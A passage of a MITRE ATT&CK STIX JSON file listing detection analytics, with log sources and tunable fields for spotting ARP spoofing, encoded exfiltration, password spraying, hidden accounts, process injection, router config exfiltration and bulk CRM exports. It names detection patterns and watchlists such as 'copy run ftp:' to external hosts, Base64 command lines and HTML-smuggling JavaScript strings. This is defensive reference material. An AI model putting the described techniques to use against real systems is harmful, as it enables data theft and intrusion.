                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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            ],
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                {
                    "field": "SuspiciousFileTypes",
                    "description": "Attachment types considered high risk (e.g., .exe, .js, .vbs, .scr, macro-enabled docs)."
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                {
                    "field": "AllowedSenders",
                    "description": "Whitelist of known trusted senders to reduce false positives."
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            ],
            "x_mitre_deprecated": false
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "name": "Analytic 1092",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "auditd:SYSCALL",
                    "channel": "setsockopt, ioctl modifying ARP entries"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Gratuitous ARP replies with mismatched IP-MAC binding"
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            ],
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                {
                    "field": "AllowedARPUpdates",
                    "description": "Expected legitimate IP-to-MAC updates for servers or virtual routers."
                },
                {
                    "field": "AlertThreshold",
                    "description": "Number of anomalous ARP packets per second before triggering detection."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                {
                    "source_name": "mitre-attack",
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            "name": "Analytic 0347",
            "description": "Processes use base64/xxd/openssl/python Objective\u2011C APIs to encode data (seen in EndpointSecurity exec events or Unified Logs) \u2192 quick outbound connections with large bytes_out or HTTP POSTs carrying Base64/MIME bodies.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process command line contains base64, -enc, openssl enc -base64"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "PF:Logs",
                    "channel": "outbound flows with bytes_out >> bytes_in"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "http: HTTP body contains long Base64 sections"
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            ],
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                {
                    "field": "AllowedDeveloperIDs",
                    "description": "Signed/allowed developer binaries routinely using encoding."
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                {
                    "field": "EntropyThreshold",
                    "description": "Payload entropy cutoff."
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                {
                    "field": "TimeWindow",
                    "description": "Exec \u2192 egress window."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            "name": "Analytic 1336",
            "description": "A high volume of authentication failures using a single password (or small set) across many different user accounts within a defined time window",
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                "enterprise-attack"
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                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
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                    "channel": "EventCode=4625, 4771, 4648"
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                    "field": "PasswordReuseThreshold",
                    "description": "Number of distinct accounts a password is used against before alerting"
                },
                {
                    "field": "TimeWindow",
                    "description": "Window over which the correlation is measured (e.g., 10 mins)"
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                {
                    "field": "TargetGroupFilter",
                    "description": "Limit detection to sensitive or monitored user groups (e.g., Admins)"
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            ],
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        },
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            "name": "Analytic 0981",
            "description": "Invocation of built-in commands like screencapture or use of undocumented APIs from suspicious parent processes.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process: exec"
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            ],
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                {
                    "field": "CommandLineRegex",
                    "description": "Customize regex for flag detection (e.g., `screencapture -x`) based on usage patterns"
                },
                {
                    "field": "ParentProcessName",
                    "description": "May vary depending on expected screencapture behavior (Terminal vs remote agent)"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1506",
            "description": "Detects login and usage patterns deviating from typical Microsoft 365 or Google Workspace user profiles.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "m365:signinlogs",
                    "channel": "UserLogin"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "gcp:audit",
                    "channel": "login.event"
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            ],
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                {
                    "field": "BusinessHours",
                    "description": "Used to identify logins outside of expected work times."
                },
                {
                    "field": "OfficeProductivityToolBaseline",
                    "description": "Defines expected application usage per department or role."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5f2cc434-5edc-4f36-927a-eb48ee72aa6e",
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0586",
            "description": "Adversary launches high-entropy process or malformed app bundle causing repeated application crashes and system slowdowns.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "macos:unifiedlog",
                    "channel": "Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "macos:unifiedlog",
                    "channel": "Spike in CPU or memory use from non-user-initiated processes"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CrashCountThreshold",
                    "description": "Number of app crashes within monitoring window"
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                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Used for high-entropy binaries often observed in DoS malware samples"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "name": "Analytic 1078",
            "description": "Detects creation or renaming of accounts with names that closely match known service, root, or admin accounts. Behavior often follows account discovery or deletion, attempting to blend into system activity logs using trusted name conventions.",
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                    "field": "LevenshteinThreshold",
                    "description": "Edit distance sensitivity between created account and existing account names."
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                {
                    "field": "ScriptInitiatorDetection",
                    "description": "Whether to flag account creation events triggered from suspicious scripts or shell histories."
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            "name": "Analytic 0874",
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                    "channel": "File Events"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "gatekeeper/quarantine database",
                    "channel": "LaunchServices quarantine"
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                    "field": "QuarantineFlagCheck",
                    "description": "Whether downloaded file has a quarantine flag and is bypassed via Gatekeeper"
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                {
                    "field": "BlobKeywordAlertList",
                    "description": "JavaScript strings that may indicate smuggling: msSaveBlob, download.href, createObjectURL"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0510",
            "description": "Detection correlates file creation or modification of `.lnk` (shortcut) files in autostart locations with anomalous parent-child process lineage or unsigned binaries. Defenders should watch for LNK creation/modification events outside of known software installations, patch events, or OS updates. Flag shortcut targets pointing to suspicious locations or unknown binaries, particularly those written by script interpreters or spawned from phishing delivery chains.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=2"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetPathRegex",
                    "description": "Tunable regex to flag suspicious shortcut target paths (e.g., temp folder, base64 in target, unusual executable names)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time window used to correlate shortcut creation with process execution (e.g., 5-minute window)"
                },
                {
                    "field": "UserContextScope",
                    "description": "Filter for expected administrative installs versus end-user initiated shortcut creation"
                },
                {
                    "field": "ZoneIdentifierThreshold",
                    "description": "Configurable value to filter LNK files tagged with external source markers (e.g., ZoneId=3 for Internet)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5ff3ae40-d326-4eae-9bc5-c77ddcb6cb6e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0027#AN0077",
                    "external_id": "AN0077"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0077",
            "description": "Detects applications such as Automator, AppleScript, or LaunchDaemons invoking HTTP/S traffic to non-standard domains or using suspicious headers (e.g., Base64 in URIs or cookie fields).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:osquery",
                    "channel": "socket_events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousParentProcess",
                    "description": "Non-browser parent of web traffic (e.g., AppleScript, bash)"
                },
                {
                    "field": "URIEntropyThreshold",
                    "description": "Unusually encoded data in GET/POST URIs"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--602def5b-49e4-4c64-afe6-1476eac13e67",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0084#AN0234",
                    "external_id": "AN0234"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0234",
            "description": "Defenders can detect suspicious cloud instance deletions by correlating events across authentication, instance lifecycle, and account activity. From a defender\u2019s perspective, behaviors of interest include instances deleted shortly after creation, deletions initiated by new or rarely used accounts, deletions following snapshot creation, and deletions originating from anomalous geolocations or access keys. These may indicate adversarial attempts to destroy forensic evidence or evade detection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f",
                    "name": "AWS:CloudTrail",
                    "channel": "TerminateInstances"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b",
                    "name": "AWS:CloudTrail",
                    "channel": "DescribeInstances"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e",
                    "name": "azure:activity",
                    "channel": "MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Identity of the user/service account performing deletions; tuned to exclude automation or known administrative workflows."
                },
                {
                    "field": "TimeWindow",
                    "description": "Threshold for detecting rapid instance lifecycle events (e.g., creation and deletion within minutes)."
                },
                {
                    "field": "GeoLocation",
                    "description": "Region or source IP where the delete request originated; can be tuned to align with enterprise cloud geography."
                },
                {
                    "field": "RateThreshold",
                    "description": "Number of deletions per user/account in a defined window; tuned for organizations with high elasticity."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6039c777-6a85-4df4-86b9-40d95796046e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0353#AN1001",
                    "external_id": "AN1001"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1001",
            "description": "Registry modifications to HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList setting user visibility to 0, or creation of user accounts not shown on login screen. Defender view: correlation of account creation with registry edits that mark users hidden.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4720"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccountScope",
                    "description": "Restrict monitoring to privileged or unexpected accounts."
                },
                {
                    "field": "BaselineHiddenUsers",
                    "description": "Whitelist accounts that are intentionally hidden by administrators."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--60b2d6f4-1bf0-4c52-8923-ac8e3b8088d4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0573#AN1581",
                    "external_id": "AN1581"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1581",
            "description": "Detects user activity that shares or syncs files with external domains via link generation, OneDrive external sharing, or file transfer actions involving non-whitelisted partner tenants.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44",
                    "name": "m365:unified",
                    "channel": "SharingSet"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e214eb6d-de8f-4154-9015-6d47915fbed1",
                    "name": "m365:unified",
                    "channel": "AnonymousLinkCreated"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "FileAccessed"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExternalDomainList",
                    "description": "Known partner or adversarial cloud identities/domains"
                },
                {
                    "field": "TimeWindow",
                    "description": "Duration between file access and external sharing"
                },
                {
                    "field": "SharingMethod",
                    "description": "Type of link (anonymous, internal, organization-wide) to alert on"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--60d70569-0d28-4d98-957c-4676b2411685",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0202#AN0578",
                    "external_id": "AN0578"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0578",
            "description": "Detects interactive or scripted abuse of cmd.exe, batch files, or shell invocation chains. Focuses on parent-child relationships (e.g., cmd.exe launched from unusual parents), anomalous command-line parameters, and chaining with discovery, credential access, or lateral movement behaviors.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
                    "name": "EDR:scriptblock",
                    "channel": "Process Tree + Script Block Logging"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcessName",
                    "description": "Cmd.exe launched from uncommon parents (e.g., msedge.exe, winword.exe) may indicate abuse."
                },
                {
                    "field": "TimeWindow",
                    "description": "Cmd or .bat execution during non-working hours may indicate automation or C2 activity."
                },
                {
                    "field": "CommandLinePattern",
                    "description": "Flags suspicious switches (e.g., /c ping, /k whoami) or command chaining (&&, ^)."
                },
                {
                    "field": "ScriptStoragePath",
                    "description": "Batch file execution from %TEMP%, C:\\Users\\Public, or external drives."
                },
                {
                    "field": "UserContext",
                    "description": "Flags admin-level users executing cmd outside expected baselines."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--611778c2-9de4-4066-b7d1-78752891c32e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0149#AN0427",
                    "external_id": "AN0427"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0427",
            "description": "Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like `copy run ftp:`.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "networkdevice:cli",
                    "channel": "CLI command logs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "networkdevice:syslog",
                    "channel": "flow records"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "PCAP inspection"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProtocolCommandWatchlist",
                    "description": "Flag commands like `copy`, `archive tar`, or `upload` directed at external hosts."
                },
                {
                    "field": "DestinationIPBlocklist",
                    "description": "Define external IP ranges unauthorized to receive router/switch configs."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--61256fb2-d490-4e1d-b308-665a2d68ec64",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0347#AN0983",
                    "external_id": "AN0983"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0983",
            "description": "Detects processes or binaries executed from trusted directories (e.g., System32) or using trusted names (e.g., svchost.exe) where the metadata, hash, or parent process does not align with legitimate activity patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "trusted_directory_list",
                    "description": "Paths such as C:\\Windows\\System32 that adversaries may abuse"
                },
                {
                    "field": "process_baseline_age",
                    "description": "Time window to determine process novelty (e.g., 30 days)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--61282e0a-3eae-4358-8821-6c8318961e24",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0508#AN1400",
                    "external_id": "AN1400"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1400",
            "description": "Detects ptrace- or memfd-based process injection through audit logs capturing system calls (e.g., ptrace, mmap) targeting running processes along with suspicious file descriptors or memory writes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace, mmap, process_vm_writev"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "linux:procfs",
                    "channel": "/proc/[pid]/maps, /proc/[pid]/mem"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetPIDThreshold",
                    "description": "Limit to sensitive or unexpected processes being targeted (e.g., sshd, init)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate mmap or writev usage to process access within a short timeframe"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--614594ba-9590-4fa9-871c-3e092882c74c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0447#AN1240",
                    "external_id": "AN1240"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1240",
            "description": "Account created via CLI using 'username' command or REST API. Detectable through AAA logging or CLI history telemetry.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Network Devices"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d",
                    "name": "networkdevice:syslog",
                    "channel": "username <user> privilege <level>"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "PrivilegeLevel",
                    "description": "Some devices allow unprivileged user creation\u2014adjust based on role risk"
                },
                {
                    "field": "RemoteSessionFlag",
                    "description": "Creation via Telnet, SSH, or serial console affects detection priority"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0503"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0503",
            "description": "Malicious HTML or script is rendered as a Home Page for a specific Outlook folder. Outlook accesses that folder, loads remote content, and executes embedded JavaScript or ActiveX/COM logic resulting in unauthorized actions or local execution.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "m365:messagetrace",
                    "channel": "Inbound email triggering Outlook to auto-access folder tied to malicious Home Page"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AuditPolicyScope",
                    "description": "Home Page customization may not be audited unless detailed message or folder auditing is enabled"
                },
                {
                    "field": "FolderAccessRate",
                    "description": "Anomalous access to folders not usually interacted with can signal triggering of malicious view"
                },
                {
                    "field": "ExternalURLAllowlist",
                    "description": "Mail clients may restrict remote Home Page content unless domain is explicitly allowed"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
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                    "external_id": "AN1520"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1520",
            "description": "Anomalous high-volume access to customer records in CRM software by a non-CRM admin user account, especially following initial authentication from a rare location or device. Behavior includes abnormal access to PII fields or data exports within a short time window.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "SaaS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "saas:salesforce",
                    "channel": "DataExport, RestAPI, Login, ReportExport"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "m365:signinlogs",
                    "channel": "UserLoggedIn"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Duration over which bulk CRM queries occur (e.g., 1 minute, 5 minutes); varies by organization usage pattern"
                },
                {
                    "field": "UserContext",
                    "description": "User's CRM role, department, or job function (e.g., non-sales user accessing customer PII)"
                },
                {
                    "field": "AnomalousExportThreshold",
                    "description": "Number of CRM objects (contacts, deals, logs) accessed or exported above normal"
                },
                {
                    "field": "SourceLocation",
                    "description": "Rare or impossible geolocation/IP address for legitimate CRM user access"
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            ],
